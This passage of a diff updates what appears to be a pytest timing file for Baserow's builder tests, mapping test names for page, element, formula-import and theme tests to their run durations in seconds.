"tests/baserow/contrib/builder/elements/test_image_collection_field_type.py::test_import_export_image_collection_field_type[None]": 0.39477308400091715, + "tests/baserow/contrib/builder/elements/test_image_collection_field_type.py::test_import_export_image_collection_field_type[storage1]": 0.42897508305031806, + "tests/baserow/contrib/builder/elements/test_link_collection_field_type.py::test_import_export_link_collection_field_type": 0.4328319579944946, + "tests/baserow/contrib/builder/elements/test_link_collection_field_type.py::test_registering_link_collection_field_type_connects_to_page_deleted_signal": 0.013388083025347441, + "tests/baserow/contrib/builder/elements/test_link_collection_field_type.py::test_unregistering_link_collection_field_type_disconnects_from_page_deleted_signal": 0.013662208977621049, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_add_menu_item[-separator-]": 0.10605437602498569, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_add_menu_item[-spacer-]": 0.11166762598440982, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_add_menu_item[Click me-button-]": 0.10580762499012053, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_add_menu_item[Page 1-link-link]": 0.11048187600681558, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_add_menu_item[Page 2-link-button]": 0.10634145804215223, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_add_sub_link": 0.10536220902577043, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_all_workflow_actions_removed_when_menu_element_deleted": 0.12662875003297813, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_create_menu_element": 0.10828770798980258, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_delete_duplicated_menu_doesnt_affect_initial_element": 0.1429298760194797, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_import_export": 0.13102829197305255, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_specific_workflow_action_removed_when_menu_item_deleted": 0.12435937399277464, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_update_menu_element[horizontal]": 0.1013217510189861, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_update_menu_element[vertical]": 0.10448100001667626, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_update_menu_item[name-New Page]": 0.11292141702142544, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_update_menu_item[navigate_to_page_id-None]": 0.11218204200849868, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_update_menu_item[navigate_to_url-value3]": 0.11104595797951333, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_update_menu_item[navigation_type-link]": 0.11217187499278225, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_update_menu_item[page_parameters-value4]": 0.11633112499839626, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_update_menu_item[query_parameters-value5]": 0.12108279103995301, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_update_menu_item[target-_blank]": 0.11996137598180212, + "tests/baserow/contrib/builder/elements/test_menu_element_type.py::test_workflow_action_removed_when_menu_item_deleted": 0.12532112502958626, + "tests/baserow/contrib/builder/elements/test_rating_collection_field_type.py::test_import_export_rating_collection_field_type": 0.3869433750223834, + "tests/baserow/contrib/builder/elements/test_rating_element_types.py::test_rating_element_type_export_import": 0.17982287498307414, + "tests/baserow/contrib/builder/elements/test_record_selector_element_type.py::test_export_import_record_selector_element": 0.5872989170311484, + "tests/baserow/contrib/builder/elements/test_record_selector_element_type.py::test_record_selector_element_extract_properties": 0.7584423739754129, + "tests/baserow/contrib/builder/elements/test_repeat_element_type.py::test_extract_properties_includes_schema_property_for_nested_collection": 0.30080637501669116, + "tests/baserow/contrib/builder/elements/test_repeat_element_type.py::test_extract_properties_includes_schema_property_for_single_row": 0.2478595410066191, + "tests/baserow/contrib/builder/elements/test_repeat_element_type.py::test_repeat_element_import_child_with_formula_with_current_record": 0.25093037402257323, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_create_table_element_with_fields": 0.13156966801034287, "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_create_table_element_with_non_collection_data_source": 0.290909625000495, - "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_create_table_element_without_fields": 0.3048091239988935, - "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_delete_table_element_remove_fields": 0.42130145899955096, - "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_delete_table_element_removes_associated_workflow_actions": 0.4244693749988073, - "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_delete_table_field_removes_associated_workflow_actions": 0.4393634580001162, - "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_duplicate_table_element_with_current_record_formulas": 0.44658991699998296, - "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_import_table_element_with_current_record_formulas_with_update": 0.3037224170002446, - "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_table_element_import_export": 0.42077791599967895, - "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_table_element_import_field_with_formula_with_current_record": 0.7326279159988189, - "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_table_element_import_fields_with_no_uid": 0.7207960010000534, - "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_update_table_element_with_fields": 0.43490854100036813, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_create_table_element_without_fields": 0.13046400001621805, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_delete_table_element_remove_fields": 0.20155633203103207, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_delete_table_element_removes_associated_workflow_actions": 0.21168420900357887, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_delete_table_field_removes_associated_workflow_actions": 0.19250479197944514, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_duplicate_table_element_with_current_record_formulas": 0.3158697079925332, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_import_context_addition_returns_data_source_id": 0.18820295899058692, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_import_table_element_with_current_record_formulas_with_update": 0.22835324998595752, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_table_element_duplication_regenerates_collection_field_uids": 0.23966633304371499, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_table_element_import_export": 0.2253338329901453, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_table_element_import_field_with_formula_with_current_record": 0.3604437919857446, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_table_element_import_fields_with_no_uid": 0.31415808203746565, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_update_table_element_with_fields": 0.2170012079877779, "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_update_table_element_without_bad_data_source_type": 0.5642394589995092, - "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_update_table_element_without_fields": 0.5612467090004429, - "tests/baserow/contrib/builder/elements/test_tags_collection_field_type.py::test_import_export_tags_collection_field_type": 0.47176533400033804, - "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_class_properties_are_set": 0.009682874999271007, - "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[ -1]": 0.008903998999812757, - "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[ -None]": 0.00793599999997241, - "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[-1]": 0.008319208000102662, - "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[-None]": 0.008026334002352087, - "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[vallue-1]": 0.00812166600007913, - "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_import_export_text_collection_field_type": 0.4683482910004386, - "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_serializer_field_overrides_returns_expected_value": 0.009488583000347717, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_create_page": 0.010558416999629117, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_create_page_duplicate_params_in_path": 0.010004458999901544, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_create_page_page_name_not_unique": 0.14004074899912666, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_create_page_page_path_not_unique": 0.13925458300036553, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_delete_page": 0.14246312500017666, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_duplicate_page": 0.15221662399926572, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_find_unused_page_path": 0.14156929300042975, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_generalise_path": 0.007695791000514873, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_get_page": 0.1584463319995848, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_get_page_base_queryset": 0.14094800000020768, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_get_page_page_does_not_exist": 0.011336791999383422, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_import_element": 0.14566816800015658, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_import_element_has_to_import_parent_first": 0.4076134990000355, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_import_element_has_to_instance_already_created": 0.4083328770002481, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_is_page_path_unique": 0.011782374001086282, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_is_page_path_unique_different_param_position": 0.010688915999708115, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_is_page_path_unique_raises": 0.010792167000545305, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_is_page_path_valid": 0.008397001000048476, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_is_page_path_valid_raises": 0.007859083998482674, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_order_pages": 0.013315833000888233, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_order_pages_page_not_in_builder": 0.011704708001161634, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_update_page": 0.14053974999933416, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_update_page_page_name_not_unique": 0.14180304199908278, - "tests/baserow/contrib/builder/pages/test_page_handler.py::test_update_page_page_path_not_unique": 0.14226133300053334, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_create_page_user_not_in_workspace": 0.14073049900071055, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_delete_page_user_not_in_workspace": 0.4791572920012186, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_duplicate_page": 0.1543751669996709, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_duplicate_page_user_not_in_workspace": 0.27541887599909387, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_get_page_user_not_in_workspace": 0.14403062399924238, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_order_pages_page_not_in_builder": 0.2867891679998138, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_order_pages_user_not_in_workspace": 0.14744929099833826, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_page_created_signal_sent": 0.1466440429994691, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_page_deleted_signal_sent": 0.1479929600000105, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_page_updated_signal_sent": 0.14174400000047171, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_pages_reordered_signal_sent": 0.14461262600070768, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_update_page_invalid_values": 0.14283354000053805, - "tests/baserow/contrib/builder/pages/test_page_service.py::test_update_page_user_not_in_workspace": 0.14022033299988834, - "tests/baserow/contrib/builder/pages/test_page_validators.py::test_page_path_validation": 0.008145999998305342, - "tests/baserow/contrib/builder/pages/test_page_validators.py::test_path_params_validation": 0.008392292002099566, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_creation_does_not_register_an_action": 0.14204354100002092, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_creation_uses_first_customers_table": 0.16125099999953818, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_doesnt_import_favicon_file": 0.15617970900075306, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_export": 0.9716537089989288, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_import": 0.17157800099903397, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_import_with_complex_elements": 0.1470368750005946, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_imports_correct_default_roles": 0.15365312500034634, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_imports_favicon_file": 0.16219350099981966, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_type_init_application": 0.17471616699913284, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_type_init_application_customers_table_use": 0.31462037499932194, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_delete_builder_application_with_published_builder": 0.1555688750004265, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_default_roles[initial_roles0-expected_roles0]": 0.29954345900114276, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_default_roles[initial_roles1-expected_roles1]": 0.2961576249990685, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_default_roles[initial_roles2-expected_roles2]": 0.2961600829994495, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_default_roles[initial_roles3-expected_roles3]": 0.30561891599882074, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_roles[user_source_roles0-element_roles0-expected_roles0]": 0.31485629199960385, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_roles[user_source_roles1-element_roles1-expected_roles1]": 0.30855170899849327, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_roles[user_source_roles2-element_roles2-expected_roles2]": 0.3137697090005531, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_roles[user_source_roles3-element_roles3-expected_roles3]": 0.30313337500047055, - "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_roles[user_source_roles4-element_roles4-expected_roles4]": 0.29897887600054673, + "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_update_table_element_without_fields": 0.21224833399173804, + "tests/baserow/contrib/builder/elements/test_tags_collection_field_type.py::test_import_export_tags_collection_field_type": 0.3728436260134913, + "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_class_properties_are_set": 0.014145792985800654, + "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[ -1]": 0.013305541971931234, + "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[ -None]": 0.013033749972237274, + "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[-1]": 0.013310500013176352, + "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[-None]": 0.0134287080145441, + "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_deserialize_property_returns_value_from_super_method[vallue-1]": 0.012864249001722783, + "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_import_export_text_collection_field_type": 0.34652354201534763, + "tests/baserow/contrib/builder/elements/test_text_collection_field_type.py::test_serializer_field_overrides_returns_expected_value": 0.013068748987279832, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_create_page": 0.022681374015519395, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_create_page_duplicate_params_in_path": 0.020937499997671694, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_create_page_page_name_not_unique": 0.10018174999277107, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_create_page_page_path_not_unique": 0.09529525099787861, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_create_page_with_query_params": 0.02214762501535006, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_delete_page": 0.10189354096655734, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_delete_shared_page": 0.09755491602118127, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_duplicate_page": 0.10697720796451904, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_duplicate_shared_page": 0.09775358403567225, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_find_unused_page_path": 0.09733837505336851, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_generalise_path": 0.013341249985387549, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_get_page": 0.09596579198841937, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_get_page_base_queryset": 0.09750104098930024, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_get_page_page_does_not_exist": 0.016202333994442597, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_get_page_public_records_cache_key": 0.0126402500027325, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_import_element": 0.10274262502207421, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_import_element_has_to_import_parent_first": 0.25053270798525773, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_import_element_has_to_instance_already_created": 0.26372416500817053, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_is_page_path_unique": 0.024685875017894432, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_is_page_path_unique_different_param_position": 0.028079124953364953, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_is_page_path_unique_raises": 0.023382624000078067, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_is_page_path_valid": 0.012902791990200058, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_is_page_path_valid_raises": 0.012633959035156295, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_is_published_application_page": 0.23146787504083477, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_order_pages": 0.028674167027929798, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_order_pages_page_not_in_builder": 0.02787279200856574, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_update_page": 0.09458150001592003, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_update_page_page_name_not_unique": 0.0972720840072725, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_update_page_page_path_not_unique": 0.10062645800644532, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_update_page_with_query_params": 0.09705916602979414, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_update_shared_page": 0.09646525103016756, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_validate_query_params_clash_with_path_params": 0.01304029201855883, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_validate_query_params_duplicate_names": 0.012949916999787092, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_validate_query_params_edge_cases": 0.012673790974076837, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_validate_query_params_empty_lists": 0.012620374996913597, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_validate_query_params_invalid_name": 0.013272209995193407, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_validate_query_params_special_cases": 0.012635291990591213, + "tests/baserow/contrib/builder/pages/test_page_handler.py::test_validate_query_params_valid": 0.01307150098728016, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_create_page_user_not_in_workspace": 0.09276695796870627, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_delete_page_user_not_in_workspace": 0.4358514159976039, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_duplicate_page": 0.11347395699704066, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_duplicate_page_user_not_in_workspace": 0.17055858302046545, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_get_page_user_not_in_workspace": 0.10007237398531288, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_order_pages_page_not_in_builder": 0.191565624991199, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_order_pages_user_not_in_workspace": 0.10028478997992352, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_page_created_signal_sent": 0.10038970797904767, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_page_deleted_signal_sent": 0.10868737404234707, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_page_updated_signal_sent": 0.09958070798893459, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_pages_reordered_signal_sent": 0.0986191249685362, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_update_page_invalid_values": 0.09870925001450814, + "tests/baserow/contrib/builder/pages/test_page_service.py::test_update_page_user_not_in_workspace": 0.09762079201755114, + "tests/baserow/contrib/builder/pages/test_page_validators.py::test_page_path_validation": 0.013747459015576169, + "tests/baserow/contrib/builder/pages/test_page_validators.py::test_path_params_validation": 0.013350749970413744, + "tests/baserow/contrib/builder/search/test_builder_search_types.py::test_builder_search_type_basic_functionality": 0.32871949998661876, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_creation_does_not_register_an_action": 0.10432041698368266, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_creation_uses_first_customers_table": 0.14733691603760235, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_does_not_import_login_page": 0.18238195701269433, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_doesnt_import_favicon_file": 0.17312533399672247, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_export": 0.6680945410043932, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_exports_file_with_zip_file": 0.2890741680166684, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_import": 0.20262337499298155, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_import_with_complex_elements": 0.12274495896417648, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_imports_correct_default_roles": 0.12179279298288748, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_imports_favicon_file": 0.185330708976835, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_imports_login_page": 0.1492604160157498, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_imports_page_with_default_visibility[role_type-allow_all]": 0.1727908330212813, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_imports_page_with_default_visibility[roles-value2]": 0.1888548740244005, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_imports_page_with_default_visibility[visibility-all]": 0.16279570700135082, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_type_import_application_priority": 0.013116124959196895, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_type_init_application": 0.16013804002432153, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_builder_application_type_init_application_customers_table_use": 0.43954445800045505, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_delete_builder_application_with_published_builder": 0.1402327909891028, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_default_roles[initial_roles0-expected_roles0]": 0.23686670800088905, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_default_roles[initial_roles1-expected_roles1]": 0.2552598749753088, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_default_roles[initial_roles2-expected_roles2]": 0.23892187597812153, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_default_roles[initial_roles3-expected_roles3]": 0.2499270840198733, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_roles[user_source_roles0-element_roles0-expected_roles0]": 0.2505280000332277, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_roles[user_source_roles1-element_roles1-expected_roles1]": 0.24132791699958034, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_roles[user_source_roles2-element_roles2-expected_roles2]": 0.2525075009907596, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_roles[user_source_roles3-element_roles3-expected_roles3]": 0.23957012497703545, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_ensure_new_element_roles_are_sanitized_during_import_for_roles[user_source_roles4-element_roles4-expected_roles4]": 0.2483865410031285, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_get_application_id_for_url": 0.17191025003558025, + "tests/baserow/contrib/builder/test_builder_application_type.py::test_get_default_application_urls": 0.16768741598934866, "tests/baserow/contrib/builder/test_builder_application_type.py::test_import_element": 0.06677009100008036, "tests/baserow/contrib/builder/test_builder_application_type.py::test_import_element_has_to_import_parent_first": 0.17284235400006764, "tests/baserow/contrib/builder/test_builder_application_type.py::test_import_element_has_to_instance_already_created": 0.1251687869998932, - "tests/baserow/contrib/builder/test_builder_handler.py::test_get_builder": 0.013459332999445905, - "tests/baserow/contrib/builder/test_builder_handler.py::test_get_builder_does_not_exist": 0.011350999999194755, - "tests/baserow/contrib/builder/test_builder_handler.py::test_get_builder_select_related_theme_config": 0.19672004300082335, - "tests/baserow/contrib/builder/test_core_handler_builder.py::test_can_duplicate_builder_application": 0.15540908300044975, - "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[ButtonElement-ButtonElementType]": 0.803291082999749, - "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[CheckboxElement-CheckboxElementType]": 0.8038396660003855, - "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[ChoiceElement-ChoiceElementType]": 0.8341707910003606, - "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[FormContainerElement-FormContainerElementType]": 0.8136584589992708, - "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[HeadingElement-HeadingElementType]": 0.7953476259999661, - "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[IFrameElement-IFrameElementType]": 0.8055612070002098, - "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[ImageElement-ImageElementType]": 0.863018834000286, - "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[InputTextElement-InputTextElementType]": 0.8286717499995575, - "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[LinkElement-LinkElementType]": 0.8094699180001044, - "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_element_formula_generator_mixin[TextElement-TextElementType]": 0.8048322089989597, - "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_link_element_formula_generator": 0.819575459000589, - "tests/baserow/contrib/builder/test_element_formula_mixin.py::test_table_element_formula_generator": 0.8347069999999803, - "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula['test']": 0.00853445900065708, - "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula[1 + 2]": 0.008977708999736933, - "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula[42]": 0.00834412499989412, - "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula[]": 0.010590125000817352, - "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula[concat('foo','bar')]": 0.00915758300016023, - "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula[get('test_provider.1.10')]": 0.008297918000607751, - "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import['test']": 0.008433041998614499, - "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import[1 + 2]": 0.008834167000713933, - "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import[42]": 0.00844683199920837, - "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import[]": 0.008481959000164352, - "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import[concat('foo','bar')]": 0.008200041000236524, - "tests/baserow/contrib/builder/test_formula_importer.py::test_formula_import_formula_with_import[get('test_provider.1.10')]": 0.008489416000884376, - "tests/baserow/contrib/builder/test_migrations.py::test_0010_remove_orphan_collection_fields_forwards": 0.00011854200238303747, - "tests/baserow/contrib/builder/test_migrations.py::test_0018_resolve_collection_field_configs": 8.991600043373182e-05, - "tests/baserow/contrib/builder/test_migrations.py::test_0025_element_properties": 8.399900070799049e-05, - "tests/baserow/contrib/builder/test_migrations.py::test_0025_theme_config_block": 8.52919984026812e-05, - "tests/baserow/contrib/builder/test_migrations.py::test_0026_element_styles": 8.691800030646846e-05, - "tests/baserow/contrib/builder/test_permissions_manager.py::test_allow_if_template_permission_manager": 1.1919606669998757, - "tests/baserow/contrib/builder/test_permissions_manager.py::test_allow_if_template_permission_manager_filter_queryset": 0.963284874999772, - "tests/baserow/contrib/builder/test_snapshot_handler_builder.py::test_can_create_a_snapshot_for_builder_application": 0.14465150099931634, - "tests/baserow/contrib/builder/test_snapshot_handler_builder.py::test_can_delete_a_snapshot_for_builder_application": 0.14956912500019826, - "tests/baserow/contrib/builder/test_snapshot_handler_builder.py::test_can_restore_a_snapshot_for_builder_application": 0.15719199999966804, - "tests/baserow/contrib/builder/theme/test_theme_handler.py::test_update_theme": 0.024706291000256897, - "tests/baserow/contrib/builder/theme/test_theme_service.py::test_theme_updated_signal_sent": 0.15526991600017936, - "tests/baserow/contrib/builder/theme/test_theme_service.py::test_update_theme_updated": 